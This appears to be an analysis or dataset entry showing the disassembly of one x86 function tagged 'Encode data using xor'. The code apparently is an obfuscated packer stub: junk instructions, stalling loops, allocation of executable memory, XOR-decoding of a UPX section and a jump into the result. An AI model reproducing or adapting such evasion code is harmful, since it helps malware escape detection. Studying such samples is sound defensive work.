Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x731add8b
sub edi, 0x114b5f91
sub ebx, edi
popal
mov edi, 0x7558148b
mov edi, ebx
sub edi, 0x3b8452d4
mov esi, 0
mov edi, eax
add ebx, ecx
dec ecx
mov edx, edi
and ebx, ebx
not ecx
mov eax, edx
add ebx, 0xfcd9c759
inc ebx
sub ebx, ecx
add esi, 1
inc ebx
add ebx, 0xd39e0681
mov ecx, 0xdb722147
cmp esi, 0x1000093
jne 0x47afd9
or ebx, ebx
add ecx, 1
cmp esi, 0x1000093
je 0x47b024
mov edx, 0
mov byte [edx], bl
sub ecx, 1
or ebx, ebx
sub edi, ebx
and ebx, ebx
mov eax, 0x47ada2
add ecx, 0x5d4e7a78
not ecx
mov esi, 0x47af96
inc edx
add ebx, edx
mov edi, dword [eax]
sub edx, ecx
and edx, edx
and edi, 0xff
or ebx, ecx
sub edx, ecx
xor dword [esi], edi
mov ebx, edx
sub edx, 0x3fc65b48
dec ecx
inc esi
add ecx, 0x88151202
mov edx, ecx
add eax, 1
not edx
and edx, ebx
mov edx, ebx
cmp esi, entry0
jl 0x47b045
mov ecx, edx
sub ebx, 1
add edx, edx
sub ebx, 0xec7d70c7
and ebx, edx
or ecx, ecx
add esi, ebx
or ebx, ebx
sub ebx, 0xa8a1d80c
mov edi, 0x47af9a
inc esi
mov esi, ecx
sub ebx, ecx
mov edi, dword [edi]
add ecx, ebx
not esi
add esi, 0xdff6ff7
mov edi, dword [edi]
sub ebx, edx
not ebx
and ebx, ebx
push edi
sub esi, 0x627c49db
add ecx, ecx
mov edi, 0x47af96
inc ebx
or edx, ecx
mov edi, dword [edi]
add ebx, edx
sub edx, esi
and ecx, edx
mov edi, dword [edi]
add edx, 0x39427ae2
sub edx, esi
push 0x47af9e
mov esi, 0x56fed356
sub ecx, 0x30170e23
dec edx
call edi
add esi, 1
and edx, esi
mov edi, dword [esp]
add esp, 4
dec ebx
not esi
or edx, ecx
push 0x47afab
sub edx, 0xb2edfa45
mov esi, ecx
sub edx, 0x4dfdc755
push eax
mov ebx, 0x175833f
sub ebx, esi
call edi
add edx, esi
add esi, ebx
push 0x40
add edx, 0xfee36fd0
add edx, ecx
push 0x3000
sub esi, ecx
or esi, edx
mov ecx, 0x82ce08b
push 0x200008b5
inc ebx
not ebx
not esi
sub esp, 4
mov dword [esp], 0
or ecx, edx
mov ebx, 0x72ddb849
mov edx, 0x18e63dfb
call eax
mov esi, 0x386b1bb9
inc ecx
add eax, 0x2000083f
mov edx, 0x6287f275
sub ecx, 0x937e151a
and ecx, esi
mov edi, 0xe104adb9
mov ebx, 0x3707bc81
mov ebx, edx
mov dword [eax], edi
or ebx, ecx
not ebx
mov edi, dword [eax]
and edx, esi
not esi
cmp edi, 0xe104adb9
je 0x47b1a4
mov ebx, 0
mov al, byte [ebx]
not edx
add edx, esi
sub esi, 0xa5612b71
not esi
add esi, 0x9597f2f
sub ebx, 0x6816acc6
inc edi
mov eax, section.UPX1
mov edi, 0xf859363c
not ebx
and ebx, edi
mov ecx, 0x47ada1
or ebx, edi
not edi
sub ebx, 0xb7750501
mov esi, 0
mov edi, ebx
mov ebx, 0xdf36cb05
sub edi, 1
mov edx, 0x47ada2
inc edi
sub ebx, 0xe83d4070
sub ebx, 0xc9232ffa
lea edx, [edx + esi]
not ebx
or ebx, edi
mov edx, dword [edx]
dec ebx
add ebx, ebx
and edx, 0xff
sub ebx, 0x475c28b
sub ebx, edi
inc esi
inc edi
add ebx, edi
sub ebx, 0xe850857d
cmp esi, 0x1f4
jne 0x47b22f
mov esi, 0
inc edi
sub ebx, 0x1ae48b06
inc ebx
not edi
xor dword [eax], edx
add ebx, ebx
sub ebx, edi
add edi, edi
add eax, 2
sub edi, ebx
mov ebx, edi
cmp eax, ecx
jl 0x47b1ec
add edi, 0x241ce5a1
mov edi, 0xd8819931
sub edi, ebx
and edi, ebx
dec edi
mov ebx, section.UPX1
mov esi, ecx
mov ecx, esi
and esi, ecx
mov edi, section.UPX1
inc esi
sub esi, ecx
mov edx, 0x47ada1
add ecx, 0x70cce1f5
not esi
mov ecx, esi
mov eax, 0
inc esi
add ecx, 1
add esi, esi
mov al, byte [edi]
or ecx, esi
sub esi, 0x41008576
mov byte [ebx], al
mov esi, ecx
mov esi, ecx
inc ebx
add esi, 0xdf97b5ac
or esi, ecx
add edi, 2
dec ecx
or ecx, ecx
inc esi
cmp edi, edx
jle 0x47b293
sub ecx, esi
mov ecx, 0x732abf63
add esi, 0x75150236
dec ebx
and ebx, edi
push 0x45e6a0
not edi
and ebx, ebx
ret